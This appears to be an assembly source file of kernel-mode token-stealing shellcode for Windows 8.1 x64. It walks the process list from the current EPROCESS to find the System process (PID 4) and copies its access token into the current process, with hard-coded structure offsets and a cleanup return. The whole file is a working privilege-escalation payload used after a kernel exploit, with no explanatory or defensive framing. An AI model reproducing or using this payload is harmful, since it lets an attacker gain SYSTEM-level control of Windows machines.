Token stealing shellcode for Windows 8.1 x64

win81-token-stealing-shellcode.asm

;;
;; Token stealing shellcode for Windows 8.1 x64
;;

;; Save the current context on the stack
push rax
push rbx
push rcx

;; Get the current process
mov rax, gs:0x188
mov rax, [rax+0xb8]

;; Loop looking for System PID
mov rbx, rax

mov rbx, [rbx+0x2e8]
sub rbx, 0x2e8
mov rcx, [rbx+0x2e0]
cmp rcx, 4
jnz -0x19

;; Token overwrite
mov rcx, [rbx + 0x348]
and cl, 0xf0
mov [rax + 0x348], rcx

;; Cleanup
pop rcx
pop rbx
pop rax
add rsp, 40
xor rax, rax
ret